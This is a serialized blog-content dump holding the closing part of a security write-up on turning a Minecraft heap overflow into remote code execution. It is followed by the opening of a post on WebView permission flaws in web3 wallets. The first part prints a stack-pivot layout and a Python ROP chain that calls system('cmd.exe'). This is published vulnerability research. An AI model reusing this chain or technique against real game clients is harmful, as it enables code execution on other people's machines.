",{"type":24,"tag":32,"props":157522,"children":157524},{"className":157523},[],[157525],{"type":29,"value":157492},{"type":29,"value":157527}," is invoked in the disassembly:",{"type":24,"tag":25,"props":157529,"children":157530},{},[157531],{"type":24,"tag":6301,"props":157532,"children":157534},{"alt":52402,"src":157533},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":24,"tag":25,"props":157536,"children":157537},{},[157538,157539,157544,157546,157551,157553,157558,157560,157565,157567,157572,157574,157579,157581,157586,157588,157594],{"type":29,"value":9861},{"type":24,"tag":32,"props":157540,"children":157542},{"className":157541},[],[157543],{"type":29,"value":157492},{"type":29,"value":157545}," is not ",{"type":24,"tag":32,"props":157547,"children":157549},{"className":157548},[],[157550],{"type":29,"value":56320},{"type":29,"value":157552},", it is called while ",{"type":24,"tag":32,"props":157554,"children":157556},{"className":157555},[],[157557],{"type":29,"value":58599},{"type":29,"value":157559}," still contains the value of ",{"type":24,"tag":32,"props":157561,"children":157563},{"className":157562},[],[157564],{"type":29,"value":157470},{"type":29,"value":157566}," - that is, a pointer to the structure in ",{"type":24,"tag":32,"props":157568,"children":157570},{"className":157569},[],[157571],{"type":29,"value":157239},{"type":29,"value":157573}," that we control. This is ideal, because we can overwrite ",{"type":24,"tag":32,"props":157575,"children":157577},{"className":157576},[],[157578],{"type":29,"value":157477},{"type":29,"value":157580}," with a pointer to a region in ",{"type":24,"tag":32,"props":157582,"children":157584},{"className":157583},[],[157585],{"type":29,"value":157239},{"type":29,"value":157587}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":24,"tag":32,"props":157589,"children":157591},{"className":157590},[],[157592],{"type":29,"value":157593},"mov rsp, rax; ret",{"type":29,"value":157595},"-style gadget.",{"type":24,"tag":25,"props":157597,"children":157598},{},[157599,157601,157606,157608,157613],{"type":29,"value":157600},"Although we discovered that ",{"type":24,"tag":32,"props":157602,"children":157604},{"className":157603},[],[157605],{"type":29,"value":157435},{"type":29,"value":157607}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":24,"tag":32,"props":157609,"children":157611},{"className":157610},[],[157612],{"type":29,"value":157411},{"type":29,"value":157614}," callbacks.",{"type":24,"tag":20686,"props":157616,"children":157618},{"id":157617},"stack-pivot",[157619],{"type":29,"value":157620},"Stack Pivot",{"type":24,"tag":25,"props":157622,"children":157623},{},[157624,157626,157631,157633,157638,157640,157645,157647,157653],{"type":29,"value":157625},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":24,"tag":32,"props":157627,"children":157629},{"className":157628},[],[157630],{"type":29,"value":157239},{"type":29,"value":157632},", overwrite ",{"type":24,"tag":32,"props":157634,"children":157636},{"className":157635},[],[157637],{"type":29,"value":157477},{"type":29,"value":157639}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":24,"tag":32,"props":157641,"children":157643},{"className":157642},[],[157644],{"type":29,"value":157435},{"type":29,"value":157646},". This ultimately calls ",{"type":24,"tag":32,"props":157648,"children":157650},{"className":157649},[],[157651],{"type":29,"value":157652},"default_ec_key_meth->init",{"type":29,"value":157654},", which executes the pivot and begins ROP execution.",{"type":24,"tag":25,"props":157656,"children":157657},{},[157658,157660,157666,157668,157674],{"type":29,"value":157659},"We chose to overwrite the ",{"type":24,"tag":32,"props":157661,"children":157663},{"className":157662},[],[157664],{"type":29,"value":157665},"OPENSSL_free",{"type":29,"value":157667}," callback. This produces only a minor memory leak, while overwriting ",{"type":24,"tag":32,"props":157669,"children":157671},{"className":157670},[],[157672],{"type":29,"value":157673},"OPENSSL_malloc",{"type":29,"value":157675}," would require our replacement function to return a writable, unused memory region.",{"type":24,"tag":25,"props":157677,"children":157678},{},[157679,157681,157687,157688,157694,157696,157701],{"type":29,"value":157680},"For the stack pivot, we found two useful gadgets: ",{"type":24,"tag":32,"props":157682,"children":157684},{"className":157683},[],[157685],{"type":29,"value":157686},"add rsp, 0x10; pop r14; ret",{"type":29,"value":13360},{"type":24,"tag":32,"props":157689,"children":157691},{"className":157690},[],[157692],{"type":29,"value":157693},"xchg rsp, rax; ret",{"type":29,"value":157695},". The exploit writes them into ",{"type":24,"tag":32,"props":157697,"children":157699},{"className":157698},[],[157700],{"type":29,"value":157239},{"type":29,"value":157702}," like this:",{"type":24,"tag":80,"props":157704,"children":157706},{"code":157705}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[157707],{"type":24,"tag":32,"props":157708,"children":157709},{"__ignoreMap":7},[157710],{"type":29,"value":157705},{"type":24,"tag":25,"props":157712,"children":157713},{},[157714,157716,157721,157723,157728,157730,157735,157737,157742,157744,157749,157751,157756,157758,157763],{"type":29,"value":157715},"The second gadget, ",{"type":24,"tag":32,"props":157717,"children":157719},{"className":157718},[],[157720],{"type":29,"value":157693},{"type":29,"value":157722},", is placed in the slot corresponding to the ",{"type":24,"tag":32,"props":157724,"children":157726},{"className":157725},[],[157727],{"type":29,"value":22536},{"type":29,"value":157729}," function pointer. As mentioned earlier, when ",{"type":24,"tag":32,"props":157731,"children":157733},{"className":157732},[],[157734],{"type":29,"value":157492},{"type":29,"value":157736}," is called, ",{"type":24,"tag":32,"props":157738,"children":157740},{"className":157739},[],[157741],{"type":29,"value":58599},{"type":29,"value":157743}," contains a pointer to ",{"type":24,"tag":32,"props":157745,"children":157747},{"className":157746},[],[157748],{"type":29,"value":157477},{"type":29,"value":157750}," - which we have overwritten and now points to our ",{"type":24,"tag":32,"props":157752,"children":157754},{"className":157753},[],[157755],{"type":29,"value":157686},{"type":29,"value":157757}," gadget in ",{"type":24,"tag":32,"props":157759,"children":157761},{"className":157760},[],[157762],{"type":29,"value":157239},{"type":29,"value":226},{"type":24,"tag":25,"props":157765,"children":157766},{},[157767,157769,157775,157777,157782,157784,157790,157792,157797,157799,157804,157806,157811,157813,157818,157820,157825,157827,157832],{"type":29,"value":157768},"When the call occurs, ",{"type":24,"tag":32,"props":157770,"children":157772},{"className":157771},[],[157773],{"type":29,"value":157774},"xchg rsp, rax",{"type":29,"value":157776}," swaps the stack pointer with this controlled pointer inside ",{"type":24,"tag":32,"props":157778,"children":157780},{"className":157779},[],[157781],{"type":29,"value":157239},{"type":29,"value":157783},", effectively moving ",{"type":24,"tag":32,"props":157785,"children":157787},{"className":157786},[],[157788],{"type":29,"value":157789},"rsp",{"type":29,"value":157791}," into our ROP region. After the ",{"type":24,"tag":32,"props":157793,"children":157795},{"className":157794},[],[157796],{"type":29,"value":13358},{"type":29,"value":157798},", execution continues at ",{"type":24,"tag":32,"props":157800,"children":157802},{"className":157801},[],[157803],{"type":29,"value":157686},{"type":29,"value":157805},", which advances ",{"type":24,"tag":32,"props":157807,"children":157809},{"className":157808},[],[157810],{"type":29,"value":157789},{"type":29,"value":157812}," by ",{"type":24,"tag":32,"props":157814,"children":157816},{"className":157815},[],[157817],{"type":29,"value":46355},{"type":29,"value":157819}," bytes, skipping over the padding and the ",{"type":24,"tag":32,"props":157821,"children":157823},{"className":157822},[],[157824],{"type":29,"value":157693},{"type":29,"value":157826}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":24,"tag":32,"props":157828,"children":157830},{"className":157829},[],[157831],{"type":29,"value":157693},{"type":29,"value":157833},") begins executing.",{"type":24,"tag":1019,"props":157835,"children":157837},{"id":157836},"rop-chain",[157838],{"type":29,"value":157839},"ROP Chain",{"type":24,"tag":25,"props":157841,"children":157842},{},[157843,157845,157851,157853,157858],{"type":29,"value":157844},"For the demo, the ROP chain simply calls ",{"type":24,"tag":32,"props":157846,"children":157848},{"className":157847},[],[157849],{"type":29,"value":157850},"system(\"cmd.exe\")",{"type":29,"value":157852},". Because Minecraft does not use ",{"type":24,"tag":32,"props":157854,"children":157856},{"className":157855},[],[157857],{"type":29,"value":133582},{"type":29,"value":157859},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":24,"tag":25,"props":157861,"children":157862},{},[157863,157865,157871,157873,157879,157881,157886,157888,157894,157896,157901],{"type":29,"value":157864},"This is straightforward: the chain first calls ",{"type":24,"tag":32,"props":157866,"children":157868},{"className":157867},[],[157869],{"type":29,"value":157870},"GetModuleHandle(\"ucrtbase.dll\")",{"type":29,"value":157872}," to obtain the base address of ",{"type":24,"tag":32,"props":157874,"children":157876},{"className":157875},[],[157877],{"type":29,"value":157878},"ucrtbase.dll",{"type":29,"value":157880}," (which exports ",{"type":24,"tag":32,"props":157882,"children":157884},{"className":157883},[],[157885],{"type":29,"value":133582},{"type":29,"value":157887},"). It then calls ",{"type":24,"tag":32,"props":157889,"children":157891},{"className":157890},[],[157892],{"type":29,"value":157893},"GetProcAddress(ucrtbase_addr, \"system\")",{"type":29,"value":157895}," to retrieve the function’s address. Finally, it invokes ",{"type":24,"tag":32,"props":157897,"children":157899},{"className":157898},[],[157900],{"type":29,"value":133582},{"type":29,"value":157902}," with the \"cmd.exe\" string.",{"type":24,"tag":25,"props":157904,"children":157905},{},[157906],{"type":29,"value":157907},"In the exploit script, the ROP chain looks something like this:",{"type":24,"tag":80,"props":157909,"children":157911},{"code":157910,"language":21255,"meta":7,"className":21256,"style":7},"# get the address of `GetModuleHandle` to `rax`\nrop.gadget(pop_r8)\nrop.gadget(addr_get_module_handle_a - 0x28)\n# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\nrop.gadget(mov_rax_r8_28)\n\n# call `GetModuleHandle(\"ucrtbase.dll\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468B68) # offset of \"ucrtbase.dll\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `GetModuleHandle`\nrop.literal(u64(b\"ucrtbase\"))\nrop.literal(u64(b\".dll\\x00\\x00\\x00\\x00\"))\nrop.literal(u64(b\"system\\x00\\x00\"))\n\n# call `GetProcAddress(ucrtbase_base, \"system\")`\nrop.gadget(xchg_rcx_rax) # move the return value of `GetModuleHandle` to rcx\nrop.gadget(pop_rdx)\nrop.gadget(0x7468B68 + 0x10) # offset of \"system\" string\nrop.gadget(get_proc_addr)\n\n# call `system(\"cmd.exe\")`\nrop.gadget(pop_rcx)\nrop.gadget(0x7468DB8) # offset of \"cmd.exe\" string\nrop.gadget(ret) # movaps alignment\nrop.gadget(push_rax_ret) # calls `system`\nrop.literal(u64(b\"cmd.exe\\x00\"))\n",[157912],{"type":24,"tag":32,"props":157913,"children":157914},{"__ignoreMap":7},[157915,157923,157931,157956,157964,157972,157979,157987,157995,158022,158035,158048,158069,158098,158127,158134,158142,158155,158163,158199,158207,158214,158222,158229,158254,158265,158277],{"type":24,"tag":90,"props":157916,"children":157917},{"class":92,"line":93},[157918],{"type":24,"tag":90,"props":157919,"children":157920},{"style":252},[157921],{"type":29,"value":157922},"# get the address of `GetModuleHandle` to `rax`\n",{"type":24,"tag":90,"props":157924,"children":157925},{"class":92,"line":200},[157926],{"type":24,"tag":90,"props":157927,"children":157928},{"style":114},[157929],{"type":29,"value":157930},"rop.gadget(pop_r8)\n",{"type":24,"tag":90,"props":157932,"children":157933},{"class":92,"line":239},[157934,157939,157943,157948,157952],{"type":24,"tag":90,"props":157935,"children":157936},{"style":114},[157937],{"type":29,"value":157938},"rop.gadget(addr_get_module_handle_a ",{"type":24,"tag":90,"props":157940,"children":157941},{"style":120},[157942],{"type":29,"value":346},{"type":24,"tag":90,"props":157944,"children":157945},{"style":97},[157946],{"type":29,"value":157947}," 0x",{"type":24,"tag":90,"props":157949,"children":157950},{"style":349},[157951],{"type":29,"value":136699},{"type":24,"tag":90,"props":157953,"children":157954},{"style":114},[157955],{"type":29,"value":1686},{"type":24,"tag":90,"props":157957,"children":157958},{"class":92,"line":248},[157959],{"type":24,"tag":90,"props":157960,"children":157961},{"style":252},[157962],{"type":29,"value":157963},"# 0x0000000145dcd83d : mov rax, qword ptr [r8 + 0x28] ; ret\n",{"type":24,"tag":90,"props":157965,"children":157966},{"class":92,"line":258},[157967],{"type":24,"tag":90,"props":157968,"children":157969},{"style":114},[157970],{"type":29,"value":157971},"rop.gadget(mov_rax_r8_28)\n",{"type":24,"tag":90,"props":157973,"children":157974},{"class":92,"line":272},[157975],{"type":24,"tag":90,"props":157976,"children":157977},{"emptyLinePlaceholder":16},[157978],{"type":29,"value":245},{"type":24,"tag":90,"props":157980,"children":157981},{"class":92,"line":281},[157982],{"type":24,"tag":90,"props":157983,"children":157984},{"style":252},[157985],{"type":29,"value":157986},"# call `GetModuleHandle(\"ucrtbase.dll\")`\n",{"type":24,"tag":90,"props":157988,"children":157989},{"class":92,"line":384},[157990],{"type":24,"tag":90,"props":157991,"children":157992},{"style":114},[157993],{"type":29,"value":157994},"rop.gadget(pop_rcx)\n",{"type":24,"tag":90,"props":157996,"children":157997},{"class":92,"line":420},[157998,158003,158008,158013,158017],{"type":24,"tag":90,"props":157999,"children":158000},{"style":114},[158001],{"type":29,"value":158002},"rop.gadget(",{"type":24,"tag":90,"props":158004,"children":158005},{"style":97},[158006],{"type":29,"value":158007},"0x",{"type":24,"tag":90,"props":158009,"children":158010},{"style":349},[158011],{"type":29,"value":158012},"7468B68",{"type":24,"tag":90,"props":158014,"children":158015},{"style":114},[158016],{"type":29,"value":172},{"type":24,"tag":90,"props":158018,"children":158019},{"style":252},[158020],{"type":29,"value":158021},"# offset of \"ucrtbase.dll\" string\n",{"type":24,"tag":90,"props":158023,"children":158024},{"class":92,"line":428},[158025,158030],{"type":24,"tag":90,"props":158026,"children":158027},{"style":114},[158028],{"type":29,"value":158029},"rop.gadget(ret) ",{"type":24,"tag":90,"props":158031,"children":158032},{"style":252},[158033],{"type":29,"value":158034},"# movaps alignment\n",{"type":24,"tag":90,"props":158036,"children":158037},{"class":92,"line":437},[158038,158043],{"type":24,"tag":90,"props":158039,"children":158040},{"style":114},[158041],{"type":29,"value":158042},"rop.gadget(push_rax_ret) ",{"type":24,"tag":90,"props":158044,"children":158045},{"style":252},[158046],{"type":29,"value":158047},"# calls `GetModuleHandle`\n",{"type":24,"tag":90,"props":158049,"children":158050},{"class":92,"line":574},[158051,158056,158060,158065],{"type":24,"tag":90,"props":158052,"children":158053},{"style":114},[158054],{"type":29,"value":158055},"rop.literal(u64(",{"type":24,"tag":90,"props":158057,"children":158058},{"style":97},[158059],{"type":29,"value":5617},{"type":24,"tag":90,"props":158061,"children":158062},{"style":1085},[158063],{"type":29,"value":158064},"\"ucrtbase\"",{"type":24,"tag":90,"props":158066,"children":158067},{"style":114},[158068],{"type":29,"value":21507},{"type":24,"tag":90,"props":158070,"children":158071},{"class":92,"line":606},[158072,158076,158080,158085,158090,158094],{"type":24,"tag":90,"props":158073,"children":158074},{"style":114},[158075],{"type":29,"value":158055},{"type":24,"tag":90,"props":158077,"children":158078},{"style":97},[158079],{"type":29,"value":5617},{"type":24,"tag":90,"props":158081,"children":158082},{"style":1085},[158083],{"type":29,"value":158084},"\".dll",{"type":24,"tag":90,"props":158086,"children":158087},{"style":50196},[158088],{"type":29,"value":158089},"\\x00\\x00\\x00\\x00",{"type":24,"tag":90,"props":158091,"children":158092},{"style":1085},[158093],{"type":29,"value":21855},{"type":24,"tag":90,"props":158095,"children":158096},{"style":114},[158097],{"type":29,"value":21507},{"type":24,"tag":90,"props":158099,"children":158100},{"class":92,"line":615},[158101,158105,158109,158114,158119,158123],{"type":24,"tag":90,"props":158102,"children":158103},{"style":114},[158104],{"type":29,"value":158055},{"type":24,"tag":90,"props":158106,"children":158107},{"style":97},[158108],{"type":29,"value":5617},{"type":24,"tag":90,"props":158110,"children":158111},{"style":1085},[158112],{"type":29,"value":158113},"\"system",{"type":24,"tag":90,"props":158115,"children":158116},{"style":50196},[158117],{"type":29,"value":158118},"\\x00\\x00",{"type":24,"tag":90,"props":158120,"children":158121},{"style":1085},[158122],{"type":29,"value":21855},{"type":24,"tag":90,"props":158124,"children":158125},{"style":114},[158126],{"type":29,"value":21507},{"type":24,"tag":90,"props":158128,"children":158129},{"class":92,"line":623},[158130],{"type":24,"tag":90,"props":158131,"children":158132},{"emptyLinePlaceholder":16},[158133],{"type":29,"value":245},{"type":24,"tag":90,"props":158135,"children":158136},{"class":92,"line":632},[158137],{"type":24,"tag":90,"props":158138,"children":158139},{"style":252},[158140],{"type":29,"value":158141},"# call `GetProcAddress(ucrtbase_base, \"system\")`\n",{"type":24,"tag":90,"props":158143,"children":158144},{"class":92,"line":669},[158145,158150],{"type":24,"tag":90,"props":158146,"children":158147},{"style":114},[158148],{"type":29,"value":158149},"rop.gadget(xchg_rcx_rax) ",{"type":24,"tag":90,"props":158151,"children":158152},{"style":252},[158153],{"type":29,"value":158154},"# move the return value of `GetModuleHandle` to rcx\n",{"type":24,"tag":90,"props":158156,"children":158157},{"class":92,"line":683},[158158],{"type":24,"tag":90,"props":158159,"children":158160},{"style":114},[158161],{"type":29,"value":158162},"rop.gadget(pop_rdx)\n",{"type":24,"tag":90,"props":158164,"children":158165},{"class":92,"line":737},[158166,158170,158174,158178,158182,158186,158190,158194],{"type":24,"tag":90,"props":158167,"children":158168},{"style":114},[158169],{"type":29,"value":158002},{"type":24,"tag":90,"props":158171,"children":158172},{"style":97},[158173],{"type":29,"value":158007},{"type":24,"tag":90,"props":158175,"children":158176},{"style":349},[158177],{"type":29,"value":158012},{"type":24,"tag":90,"props":158179,"children":158180},{"style":120},[158181],{"type":29,"value":1714},{"type":24,"tag":90,"props":158183,"children":158184},{"style":97},[158185],{"type":29,"value":157947},{"type":24,"tag":90,"props":158187,"children":158188},{"style":349},[158189],{"type":29,"value":91083},{"type":24,"tag":90,"props":158191,"children":158192},{"style":114},[158193],{"type":29,"value":172},{"type":24,"tag":90,"props":158195,"children":158196},{"style":252},[158197],{"type":29,"value":158198},"# offset of \"system\" string\n",{"type":24,"tag":90,"props":158200,"children":158201},{"class":92,"line":751},[158202],{"type":24,"tag":90,"props":158203,"children":158204},{"style":114},[158205],{"type":29,"value":158206},"rop.gadget(get_proc_addr)\n",{"type":24,"tag":90,"props":158208,"children":158209},{"class":92,"line":782},[158210],{"type":24,"tag":90,"props":158211,"children":158212},{"emptyLinePlaceholder":16},[158213],{"type":29,"value":245},{"type":24,"tag":90,"props":158215,"children":158216},{"class":92,"line":791},[158217],{"type":24,"tag":90,"props":158218,"children":158219},{"style":252},[158220],{"type":29,"value":158221},"# call `system(\"cmd.exe\")`\n",{"type":24,"tag":90,"props":158223,"children":158224},{"class":92,"line":799},[158225],{"type":24,"tag":90,"props":158226,"children":158227},{"style":114},[158228],{"type":29,"value":157994},{"type":24,"tag":90,"props":158230,"children":158231},{"class":92,"line":807},[158232,158236,158240,158245,158249],{"type":24,"tag":90,"props":158233,"children":158234},{"style":114},[158235],{"type":29,"value":158002},{"type":24,"tag":90,"props":158237,"children":158238},{"style":97},[158239],{"type":29,"value":158007},{"type":24,"tag":90,"props":158241,"children":158242},{"style":349},[158243],{"type":29,"value":158244},"7468DB8",{"type":24,"tag":90,"props":158246,"children":158247},{"style":114},[158248],{"type":29,"value":172},{"type":24,"tag":90,"props":158250,"children":158251},{"style":252},[158252],{"type":29,"value":158253},"# offset of \"cmd.exe\" string\n",{"type":24,"tag":90,"props":158255,"children":158256},{"class":92,"line":821},[158257,158261],{"type":24,"tag":90,"props":158258,"children":158259},{"style":114},[158260],{"type":29,"value":158029},{"type":24,"tag":90,"props":158262,"children":158263},{"style":252},[158264],{"type":29,"value":158034},{"type":24,"tag":90,"props":158266,"children":158267},{"class":92,"line":6278},[158268,158272],{"type":24,"tag":90,"props":158269,"children":158270},{"style":114},[158271],{"type":29,"value":158042},{"type":24,"tag":90,"props":158273,"children":158274},{"style":252},[158275],{"type":29,"value":158276},"# calls `system`\n",{"type":24,"tag":90,"props":158278,"children":158279},{"class":92,"line":11420},[158280,158284,158288,158293,158298,158302],{"type":24,"tag":90,"props":158281,"children":158282},{"style":114},[158283],{"type":29,"value":158055},{"type":24,"tag":90,"props":158285,"children":158286},{"style":97},[158287],{"type":29,"value":5617},{"type":24,"tag":90,"props":158289,"children":158290},{"style":1085},[158291],{"type":29,"value":158292},"\"cmd.exe",{"type":24,"tag":90,"props":158294,"children":158295},{"style":50196},[158296],{"type":29,"value":158297},"\\x00",{"type":24,"tag":90,"props":158299,"children":158300},{"style":1085},[158301],{"type":29,"value":21855},{"type":24,"tag":90,"props":158303,"children":158304},{"style":114},[158305],{"type":29,"value":21507},{"type":24,"tag":1019,"props":158307,"children":158309},{"id":158308},"demo",[158310],{"type":29,"value":158311},"Demo",{"type":24,"tag":25,"props":158313,"children":158314},{},[158315],{"type":29,"value":158316},"The demo video below shows a Molang script achieving arbitrary read and write primitives to execute the previous ROP chain:",{"type":24,"tag":133688,"props":158318,"children":158321},{"className":158319,"controls":16},[143655,158320],"blog-video-wide",[158322,158323,158327],{"type":29,"value":143658},{"type":24,"tag":142894,"props":158324,"children":158326},{"src":158325,"type":133686},"/posts/minecraft-heap-overflow-to-rce/demo.mp4",[],{"type":29,"value":143664},{"type":24,"tag":850,"props":158329,"children":158330},{"id":30743},[158331],{"type":29,"value":20741},{"type":24,"tag":25,"props":158333,"children":158334},{},[158335],{"type":29,"value":158336},"This blog post is quite long, which reflects how modern mitigations make remote exploitation highly cumbersome - but still not impossible.",{"type":24,"tag":25,"props":158338,"children":158339},{},[158340],{"type":29,"value":158341},"It also demonstrates an interesting technique of abusing Molang to achieve RCE without relying on client information leaks.",{"type":24,"tag":25,"props":158343,"children":158344},{},[158345],{"type":29,"value":158346},"Finally, it highlights an underexplored area in security: video games. Even massively popular games like Minecraft contain large, complex, and unexplored attack surfaces.",{"type":24,"tag":5249,"props":158348,"children":158349},{},[158350],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":158352},[158353,158357,158362,158373],{"id":149013,"depth":200,"text":149016,"children":158354},[158355,158356],{"id":149048,"depth":239,"text":149051},{"id":149064,"depth":239,"text":149067},{"id":149085,"depth":200,"text":149088,"children":158358},[158359,158360,158361],{"id":149101,"depth":239,"text":149104},{"id":149189,"depth":239,"text":149192},{"id":151489,"depth":239,"text":151492},{"id":7806,"depth":200,"text":7809,"children":158363},[158364,158365,158366,158367,158368,158369,158370,158371,158372],{"id":151596,"depth":239,"text":151599},{"id":151621,"depth":239,"text":151624},{"id":151758,"depth":239,"text":151761},{"id":153922,"depth":239,"text":153925},{"id":154284,"depth":239,"text":154287},{"id":155104,"depth":239,"text":155107},{"id":157218,"depth":239,"text":157221},{"id":157836,"depth":239,"text":157839},{"id":158308,"depth":239,"text":158311},{"id":30743,"depth":200,"text":20741},"content:blog:2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce.md","blog/2026-06-02-minecraft-heap-overflow-to-rce",{"_path":158378,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":158379,"description":158380,"date":158381,"author":158382,"image":158384,"isFeatured":16,"onBlogPage":16,"tags":158386,"body":158388,"_type":5270,"_id":160711,"_source":5272,"_file":160712,"_stem":160713,"_extension":5275},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[33014,33013,158383],"nikolaos",{"src":158385,"width":99098,"height":14},"/posts/insecure-webview-integrations/title.png",[33954,133794,158387],"webview",{"type":21,"children":158389,"toc":160698},[158390,158395,158400,158406,158411,158416,158421,158427,158432,158438,158460,158473,158493,158507,158513,158527,158535,158540,158546,158551,158560,158581,158725,158730,158736,158741,158746,158760,158764,158769,158787,160215,160219,160224,160236,160245,160250,160256,160278,160286,160291,160297,160302,160320,160325,160331,160344,160626,160654,160667,160672,160685,160689,160694],{"type":24,"tag":25,"props":158391,"children":158392},{},[158393],{"type":29,"value":158394},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":24,"tag":25,"props":158396,"children":158397},{},[158398],{"type":29,"value":158399},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":24,"tag":37188,"props":158401,"children":158403},{"id":158402},"exploiting-mobile-webviews",[158404],{"type":29,"value":158405},"Exploiting Mobile WebViews",{"type":24,"tag":25,"props":158407,"children":158408},{},[158409],{"type":29,"value":158410},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":24,"tag":25,"props":158412,"children":158413},{},[158414],{"type":29,"value":158415},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":24,"tag":25,"props":158417,"children":158418},{},[158419],{"type":29,"value":158420},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":24,"tag":850,"props":158422,"children":158424},{"id":158423},"handling-webview-permissions",[158425],{"type":29,"value":158426},"Handling WebView permissions",{"type":24,"tag":25,"props":158428,"children":158429},{},[158430],{"type":29,"value":158431},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":24,"tag":1019,"props":158433,"children":158435},{"id":158434},"android",[158436],{"type":29,"value":158437},"Android",{"type":24,"tag":25,"props":158439,"children":158440},{},[158441,158443,158450,158452,158458],{"type":29,"value":158442},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":24,"tag":69,"props":158444,"children":158447},{"href":158445,"rel":158446},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[73],[158448],{"type":29,"value":158449},"onPermissionRequest",{"type":29,"value":158451},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":24,"tag":32,"props":158453,"children":158455},{"className":158454},[],[158456],{"type":29,"value":158457},"PermissionRequest",{"type":29,"value":158459}," object where the WebView developers must decide whether to grant or deny it.",{"type":24,"tag":5339,"props":158461,"children":158462},{},[158463],{"type":24,"tag":25,"props":158464,"children":158465},{},[158466,158468,158471],{"type":29,"value":158467},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":24,"tag":90,"props":158469,"children":158470},{},[],{"type":29,"value":158472},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":24,"tag":25,"props":158474,"children":158475},{},[158476,158478,158484,158486,158492],{"type":29,"value":158477},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":24,"tag":32,"props":158479,"children":158481},{"className":158480},[],[158482],{"type":29,"value":158483},"getOrigin()",{"type":29,"value":158485}," and the requested permissions with ",{"type":24,"tag":32,"props":158487,"children":158489},{"className":158488},[],[158490],{"type":29,"value":158491},"getResources()",{"type":29,"value":226},{"type":24,"tag":25,"props":158494,"children":158495},{},[158496,158498,158505],{"type":29,"value":158497},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":24,"tag":69,"props":158499,"children":158502},{"href":158500,"rel":158501},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[73],[158503],{"type":29,"value":158504},"webview_shell",{"type":29,"value":158506},". In this instance, no origin checks are performed.",{"type":24,"tag":1019,"props":158508,"children":158510},{"id":158509},"ios",[158511],{"type":29,"value":158512},"iOS",{"type":24,"tag":25,"props":158514,"children":158515},{},[158516,158518,158525],{"type":29,"value":158517},"On the contrary, iOS ",{"type":24,"tag":69,"props":158519,"children":158522},{"href":158520,"rel":158521},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[73],[158523],{"type":29,"value":158524},"documentation",{"type":29,"value":158526}," states that:",{"type":24,"tag":5339,"props":158528,"children":158529},{},[158530],{"type":24,"tag":25,"props":158531,"children":158532},{},[158533],{"type":29,"value":158534},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":24,"tag":25,"props":158536,"children":158537},{},[158538],{"type":29,"value":158539},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":24,"tag":850,"props":158541,"children":158543},{"id":158542},"the-shortcomings-of-webview-implementations",[158544],{"type":29,"value":158545},"The shortcomings of WebView implementations",{"type":24,"tag":25,"props":158547,"children":158548},{},[158549],{"type":29,"value":158550},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":24,"tag":33159,"props":158552,"children":158553},{"style":33161},[158554],{"type":24,"tag":6301,"props":158555,"children":158559},{"src":158556,"alt":158557,"style":158558},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":24,"tag":25,"props":158561,"children":158562},{},[158563,158565,158571,158573,158579],{"type":29,"value":158564},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":24,"tag":32,"props":158566,"children":158568},{"className":158567},[],[158569],{"type":29,"value":158570},"react-native-webview",{"type":29,"value":158572},". If we take a look at how they handle a request that reaches the 